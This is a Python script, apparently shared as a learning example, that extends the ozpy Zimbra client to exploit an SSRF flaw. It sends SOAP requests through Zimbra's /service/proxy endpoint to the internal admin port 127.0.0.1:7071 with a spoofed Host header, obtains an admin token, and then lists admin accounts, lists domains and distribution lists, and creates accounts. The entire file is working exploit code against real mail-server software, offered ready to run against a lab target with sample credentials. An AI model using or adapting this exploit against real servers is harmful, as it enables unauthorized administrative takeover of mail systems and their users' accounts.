Utilizing ozpy for doing SSRF

dark_ozpy.py

__author__ = 'Imam Omar Mochtar ([email protected])'

"""
WARNING : For learning purpose only !!!

This is example of utilizing ozpy for gaining zimbra admin rights through SSRF vulnerability
"""

import sys
import requests
import json
from ozpy.zmprov import Zmprov

try:
    # python 3.X
    from urllib.parse import urlsplit, urlencode
except ImportError:
    # python 2.7
    from urllib import urlencode
    from urlparse import urlsplit

class DarkZmprov(Zmprov):

    admin_token = None

    def login_proxied(self):
        soapname = 'Auth'
        body = {
            'name': [{
                '_content': self.username
            }],
            'password': [{
                '_content': self.password
            }]
        }
        result = self.send_proxied(soapname, body, bypass=True)
        self.admin_token = result['authToken'][0]['_content']

    def send_proxied(self, soapname, body={}, bypass=False):
        if not self.admin_token and not bypass:
            self.login_proxied()

        split = urlsplit(self.soapurl)
        target = '{}://{}'.format(split.scheme, split.netloc)
        proxy_url = '{}/service/proxy?{}'.format(
            target,
            urlencode({
                'target': 'https://127.0.0.1:7071/service/admin/soap',
            })
        )

        body['_jsns'] = 'urn:zimbraAdmin'
        sendjson = { 
            'Header': {
                'context': {
                    'authToken': [{'_content':self.admin_token} if self.admin_token else {}],
                    'nosession': {}, 
                    'userAgent': {
                        'name': 'zmsoap'
                    },  
                    '_jsns': 'urn:zimbra'
                }   
            },  
            'Body': {'%sRequest'%soapname:body},
            '_jsns': 'urn:zimbraSoap'
        }   

        kwargs = {
                'verify': False,
                'headers': {
                    'Host': 'domain.com:7071'
                },
                'cookies': {
                    'ZM_ADMIN_AUTH_TOKEN': self.token,
                } 
            }
        if self.timeout:
            kwargs['timeout'] = self.timeout
        response = requests.post(proxy_url, json.dumps(sendjson), **kwargs)
        body = response.json()['Body']
        if 'Fault' in body:
            raise Exception('Fault: {}'.format(body))

        return body['%sResponse'%soapname]

    def version(self):
        return self.send_proxied('GetVersionInfo')

    def gaaa(self):
        response = self.send_proxied('GetAllAdminAccounts')
        return [ admin['name'] for admin in response['account'] ]

    def ca(self, name, password):
        response = self.send_proxied('CreateAccount', {
                'name': name,
                'password': password,
                'a': []
            })
        return response

    def gad(self):
        response = self.send_proxied('GetAllDomains')
        return [ domain['name'] for domain in response['domain'] ]

    def gadl(self):
        head = 'GetAllDistributionLists'
        response = self.send_proxied(head)
        return [ x['name'] for x in response['dl'] ]


    def _login(self, username, password):

        client_soap_body = { 
            'account': {
                'by': 'adminName',
                '_content': username
            },  
            'password': {
                '_content': password
            }   
        }   

        return super(DarkZmprov, self)._login(
                username, password, client_soap_body)


if __name__ == '__main__':

    target = 'https://mail.myrnd.lab/service/soap'
    zimbra_user = 'zimbra'
    password = 'holdmyhand' 

    zmprov = DarkZmprov(
        username=zimbra_user,
        password=password,
        soapurl=target,
        default_urn='urn:zimbraAccount',
        isdebug=True
    )

    print(zmprov.version())